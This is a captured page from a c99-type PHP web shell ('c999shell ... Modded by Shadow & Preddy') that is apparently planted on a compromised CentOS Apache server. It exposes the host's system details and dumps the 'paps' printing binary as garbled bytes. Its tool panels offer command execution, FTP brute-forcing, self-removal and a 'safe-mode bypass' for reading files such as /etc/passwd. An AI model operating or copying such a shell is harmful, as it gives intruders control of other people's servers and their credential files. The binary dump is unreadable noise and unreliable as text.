!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/bin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     paps (36.65 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ELF4č4 (444444(p(p(p((44#h|(CElVK8qXfUaʡvIH_X/8I+/ZNXBQ ` t5]gTIfJDqQCEjiuVuH&xs~|Jk 2\> fz,_?.sx? #$C]Rxy`M^I&:\OAhNG82";E{j^H2 Zn{ VZ'^GԖ>`WolD`BdK`5h % T2MYmqMekM @M*c +MhP16M*M%MOMcKMAM'G6M?MʄMSM M[M:MMkMmMq5.MKiMMK:MWf7MW M45 M.+ M쌌i; M8 ii \ii fii pti zii \`fdlhnlhje       !" #$$(%,&0'4(8)<*@+D,H-L.P/T0X1\2`3d4h5l6p7t8x9|:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\] ^_`qa b$c(dU4?;5%%h%h%h%h%h %h(%h0%h8p%h@`%hHP%hP@%hX0%h` %hh%hp%hx%h%h%h%h%h%h%h%hp%h`%hP%h@%h0%h %h% h%h%h%h%h% h%$h %(h(%,h0%0h8p%4h@`%8hHP%<hP@%@hX0%Dh` %Hhh%Lhp%Phx%Th%Xh%\h%`h%dh%hh%lh%php%th`%xhP%|h@%h0%h %h%h%h%h%h%h%h%h %h(%h0%h8p%h@`%hHP%hP@%hX0%h` %hh%hp%hx%h%h%h%h%h%h%h%hp%h`%hP%h@%h0%h %h% h%h%h%h%h% h%$h %(h(1^PTRhhQVhSUS[èdtNX[ÐUS=tu?4-0Xp9v&p0p9wt[]Ít&'U8tt $8ÐUWVS"ut&U(]] uEt;u1dD$/D$$D$ p1]u]ƍED$$Et78t2dD$D$$D$ ]1u]Ð>"ut&L$qUWVSQA<DžDž4DžeE1DžDžDž$Dž$Dž$Dž$DžDž$$D$D$LhDž<DžPLDžXDždDžltDžpDžtDžDžDžDžDžDžDžDžDžDžDžDžDžDžDž4DžDž"Dž Dž-Dž,HdDžKDž(Dž0XDž4Dž8XDžDDžLxDžPDžTdDžhDžpkDž|DžDžtDž}DžDž@DžDžDžDžDžDžDžDž\$D$$4$U DžƉt$$qB'x4@D$$E>4B BD$D$B$Ƌt$$D$tD$$ 2$ $$t$<$D$$D$<$tDžDž@0ٽ22 f0٭0ە٭2B4٭0ە٭2bD٭0۝٭2B<٭0۝٭2B8٭0۝٭2b@٭0۝٭2t$$D$tD$$t$$D$Pt@$D$D$ٽ22 f0٭0۝٭2t$$D$t@$D$D$&ٽ22 f0٭0۝٭2t$$D$t@$D$D$ٽ22 f0٭0۝٭2t$$D$6t@$D$D$jٽ22 f0٭0۝٭2D$D$$<$jDžt$$+D$tD$0$Džt$$D$lt&D$ D$ D$$(t$$D$(tD$D$$\t$$}D$tD$D$$ $<>t?$<.D$D$uPD$\$l1Dž!$Y!D$$t$$$$$ \$$ 1t D< 苕ݕ( ݕ0Ѓ)X))Dž(Dž Dž$ )))$ٝx#DžPDžDHd `LDžh\ݕ@lݝ\$D$ <$D$$$$N95  }P$ݝ($ D$P<$$1D$$($ty$DžD$D$ D$D$4$E+ƀ\$<${D$$T$+$+7$-G| tD$<$D$<$t t4$݅ :P$ٽ2Dž2 f0٭0۝٭2Dt&u~ tu tlt& b 8SÉ$`؃ | ;y$)8ƉX$JɉFvX$FD$D$F$LD$F$`ЃD$F$ D$F$vXD$F$1 FF t$$ 1ۉ$D$$>l݅0\$ ݅(\$$DžDž0DžDž9Åۉt\ l D$$Ƌ\ &T$$D$ t$|$T$L$ D$D$D$$4$ 1@D$01DD$,1HD$(1PD$$)ЉD$ D$D$T$D$D$D$D$ $D$D$$D$8D$D$ $D$D$$D$ CD$D$$U$|ٽ2ۅ܍2  f0٭0۝٭2  Dž1DžDžKP$pD$T$$ݝh`݅h)T$$݅\$݅\$+S($ $$܍\$ \$$3ÉD$|$$<ٞۅ=ٽ22 f0 ܍ ٭0۝٭2R҉Z򋅠0F9~B$;PDž`iOP$ۅP+$$$$\$ T$++ )R$\$\$D$X|$ Dž&݅0ݝF݅(ݝ`݅(ݝ3+%hDžD$F$dt&D$D$ D$FD$$a$#ۅ5ٽ22 f0 ٭0۝٭2;S$q$$i$1Dž~f11149|T9$`$y9}D$D$ D$|$${D$D$F$JpT$D$F$ $$ $TD$D$D$ d$s\DžƅWۅۅx܍؋FK$~Ë$D$$6D$D$$D$|$D$D$T$ $wD$|$$41Ue3Y[^_]aËt,DžDžT$1҉$4DžDžk Džۅ +D$ D$ D$$ $ D$.D$$ D$D$$<$yD$D$ <$YD$D$ <$9D$D$<$D$D$<$D$D$ <$oD$D$ <$DžO@$ٽ2݀2 f0٭0۝٭2ٽ2݀2 f0٭0۝٭2lS$R#D$D$D$ d$BD$<$$1D$b$|$OiD$5$T%s %s Page %d%d %f moveto %d %f lineto 0 setlinewidth stroke You must specify the amount of characters per inch. You must specify the amount of lines per inch. Landscape output. (Default: portrait)Number of columns output. (Default: 1)Set the font description. (Default: Monospace 12)Choose paper size. Known paper sizes are legal, letter, a4. (Default: a4)Set bottom margin. (Default: 36)Set right margin. (Default: 36)Set left margin. (Default: 36)Draw page header for each page.Assume the documentation encoding.Set the amount of lines per inch.Set the amount of characters per inch.ERROR: %s job-id user title copies options [file] ERROR: unable to open print file - %s: Error while converting strings. %s: Invalid character in input Failed to convert UTF-8 to UCS-4. Failed to convert UCS-4 to UTF-8. %%!PS-Adobe-3.0 %s%%%%Title: %s %%%%Creator: paps version 0.6.3 by Dov Grobgeld %%%%Pages: (atend) %%%%BoundingBox: 0 0 %d %d %s%%%%BeginProlog %%%%Orientation: %s /papsdict 1 dict def papsdict begin /inch {72 mul} bind def /mm {1 inch 25.4 div mul} bind def %% override setpagedevice if it is not defined /setpagedevice where { pop %% get rid of its dictionary /setpagesize { 3 dict begin /pageheight exch def /pagewidth exch def /orientation 0 def %% Exchange pagewidth and pageheight so that pagewidth is bigger pagewidth pageheight gt { pagewidth /pagewidth pageheight def /pageheight exch def /orientation %d def } if 2 dict dup /PageSize [pagewidth pageheight] put dup /Orientation orientation put setpagedevice end } def } { /setpagesize { pop pop } def } ifelse /duplex { statusdict /setduplexmode known { statusdict begin setduplexmode end } {pop} ifelse } def /tumble { statusdict /settumble known { statusdict begin settumble end } {pop} ifelse } def %% Turn the page around /turnpage { 90 rotate 0 pageheight neg translate } def %% User settings /pagewidth %d def /pageheight %d def pagewidth pageheight setpagesize /column_width %d def /bodyheight %d def /lmarg %d def /ytop %d def /do_separation_line %s def /do_landscape %s def /do_tumble %s def /do_duplex %s def %% Procedures to translate position to first and second column /lw 20 def %% whatever /setnumcolumns { /numcolumns exch def /firstcolumn { /xpos lmarg def /ypos ytop def} def /nextcolumn { do_separation_line { xpos column_width add gutter_width 2 div add %% x start ytop lw add moveto %% y start 0 bodyheight lw add neg rlineto 0 setlinewidth stroke } if /xpos xpos column_width add gutter_width add def /ypos ytop def } def } def /showline { /y exch def /s exch def xpos y moveto column_width 0 rlineto stroke xpos y moveto /Helvetica findfont 20 scalefont setfont s show } def /paps_bop { %% Beginning of page definitions papsdict begin gsave do_landscape {turnpage} if firstcolumn end } def /paps_eop { %% End of page cleanups grestore } def %f %f moveto %f %f lineto 0 setlinewidth stroke %%%%Pages: %d %%%%Trailer %%%%EOF ?@ ףp=@QO@ @@ @@zD?%d %d %d %d %d %d c %d %d %d %d x %d %d l %d %d m %08x-%d-%dstart_ol %.0f fwd_x end_ol /%s { %s } def +%8.0f%8.0f>%4d-%4d*%8.0f%s()paps_exec end end %%%%EndPrologue %%%%BeginProlog /papsdict 1 dict def papsdict begin /conicto { /to_y exch def /to_x exch def /conic_cntrl_y exch def /conic_cntrl_x exch def currentpoint /p0_y exch def /p0_x exch def /p1_x p0_x conic_cntrl_x p0_x sub 2 3 div mul add def /p1_y p0_y conic_cntrl_y p0_y sub 2 3 div mul add def /p2_x p1_x to_x p0_x sub 1 3 div mul add def /p2_y p1_y to_y p0_y sub 1 3 div mul add def p1_x p1_y p2_x p2_y to_x to_y curveto } bind def /start_ol { gsave } bind def /end_ol { closepath fill grestore } bind def /draw_char { fontdict begin gsave %f dup scale last_x last_y translate %f %f scale load exec end grestore} def /goto_xy { fontdict begin /last_y exch def /last_x exch def end } def /goto_x { fontdict begin /last_x exch def end } def /fwd_x { fontdict begin /last_x exch last_x add def end } def /c /curveto load def /x /conicto load def /l /lineto load def /m /moveto load def end /paps_exec { 1 dict begin /ps exch def /len ps length def /pos 0 def %% Loop over all the characters of the string { pos len eq {exit} if %% Get character at pos /ch ps pos 1 getinterval def %% check for + (+) ch eq { /pos 1 pos add def /xp ps pos 8 getinterval cvi def /yp ps pos 8 add 8 getinterval cvi def /pos 16 pos add def papsdict begin xp yp goto_xy end } { (*) ch eq { /pos 1 pos add def /xp ps pos 8 getinterval cvi def /pos 8 pos add def papsdict begin xp goto_x end } { (>) ch eq { /pos 1 pos add def /xp ps pos 4 getinterval cvi def /pos 4 pos add def papsdict begin xp 2 mul fwd_x end } { (-) ch eq { /pos 1 pos add def /xp ps pos 4 getinterval cvi def /pos 4 pos add def papsdict begin xp neg 2 mul fwd_x end } { %% Must be a 3 char sym. Load and exec /name ps pos 3 getinterval def papsdict begin name draw_char end /pos 3 pos add def } ifelse } ifelse } ifelse } ifelse } loop end } def /fontdict 1 dict def papsdict begin fontdict begin ;On?{Gz?@@z);xXȳ<TlȸHh0P8lxh8<\t| XAB F8AB DTПoAB Et@%AB pAB AB AJAB FF@AB FF,D  F AB AH4AH LAB DhAB E0AB D`AB DTAB puAB A AB IXAB C4`qAB ETAB FtRAB FIAB 0<AB DptAB Dq+6%   ohȁ  0Ē(oToonooDoT o <Jɲ S5G5`Pt04]4D4зІ !Pe:4@òS044u40B40B`%50W49`aA pƲC+@8`50= 5{;sвЬ4p05;&5 5S5k!`4@<@up5m0o!ǵp=N4A4@3`;Pr5@pF40b`e ddlibpangoft2-1.0.so.0pango_layout_get_extentspango_font_description_set_family__gmon_start___Jv_RegisterClassesg_object_unrefg_strduppango_context_set_languagepango_font_map_load_fontsetg_mallocg_type_initpango_layout_set_textpango_layout_newg_list_prependpango_font_metrics_unrefpango_font_description_set_sizeg_ascii_strcasecmppango_ft2_font_map_newlibpango-1.0.so.0g_string_newg_utf8_skipg_strdup_printfg_string_freeg_utf8_get_charg_list_reverseg_string_appendg_string_append_printfpango_font_metrics_get_approximate_char_widthpango_fontset_get_metricspango_layout_get_linepango_context_set_base_dirpango_layout_line_get_extentspango_font_description_from_stringpango_layout_set_alignmentpango_layout_set_widthpango_layout_set_justifypango_layout_set_markuppango_language_from_stringpango_font_description_get_set_fieldspango_font_metrics_get_approximate_digit_widthpango_context_set_font_descriptionpango_layout_set_wrappango_layout_get_line_countlibgobject-2.0.so.0g_type_check_instance_castlibgmodule-2.0.so.0_finilibdl.so.2libglib-2.0.so.0g_option_context_newg_utf8_to_ucs4g_option_context_parseg_strtodg_option_context_add_main_entriesg_option_context_freeg_get_prgnameg_iconvg_iconv_closeg_ucs4_to_utf8g_path_get_basenameg_set_prgnameg_iconv_openlibcups.so.2cupsMarkOptionsppdPageSizeppdOpenFileppdMarkDefaultscupsGetOptioncupsParseOptionsppdIsMarkedlibgssapi_krb5.so.2libkrb5.so.3libk5crypto.so.3libcom_err.so.2libz.so.1libpthread.so.0__errno_locationlibm.so.6libcrypt.so.1g_vasprintfg_string_append_leng_hash_table_lookupFT_Load_Glyphg_malloc0g_hash_table_insertpango_ft2_font_get_faceg_string_truncatepango_ft2_get_contextg_string_eraseg_str_equalg_str_hashg_hash_table_new_fulllibc.so.6_IO_stdin_usedexitsetlocalefopen__stack_chk_failstdinstrftimefgetsstrlenmemset__fprintf_chkwcswidthstdoutfputsfclose__strtol_internalgetenvwcwidthstderrfwritelocaltimestrchr__strtod_internal__sprintf_chk__libc_start_mainferrorwcslenlibfreetype.so.6FT_Done_GlyphFT_Get_GlyphFT_Outline_Decompose_edata__bss_start_endGLIBC_2.0GLIBC_2.4GLIBC_2.1GLIBC_2.3.4libfontconfig.so.1librt.so.1/lib/ld-linux.so.2libgnutls.so.13libkrb5support.so.0libkeyutils.so.1libresolv.so.2libexpat.so.0libgcrypt.so.11libgpg-error.so.0libselinux.so.1libsepol.so.1p=|=Ԗ=d=T\p7hp7Ԗp7`p7Tp7`s7u7p6 !`p!0{0_XY0Z0_4X8Y<0Zh&`|&d&h&l&`('0z\'z'''(0{x((|_d`l ``<`P}`}a0zTa@azab`>b0{8c,cPc d|8T`T0_T`>`T'ĶT%T,`TP>dh>l>`>P}>}>0z$>0_0>z>>`>>Ѐ0>'D>%>0{0>,?P?|?` 0_H`>p'0{,0<ddy`d `o,o`>p`p, p`>^^^^^^p_4_l8_<_L_d__h___0\(`@\(0 ](z]( u^(0{^(|hddldld0d0zezte0{ ` 0  $ 8 `QD }P 0zd Np z `> 0 Ѐ ` 0{ , P |  ̿п0Կؿܿٳ4hdh`h0i}jzm0{oPX0_Y`>'%,PY0ZP`X(0_8Y@`>X'l%|,PY0ZЏl`P}pPzT|PPȐP~8dd`l0pP}0zz|40{T~X|ا`oodohp` pP}`p0zdppz q0{Pq|xqP~1d2l2`paps.debugslELF4Pt4 (444444(p(p(p((8

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--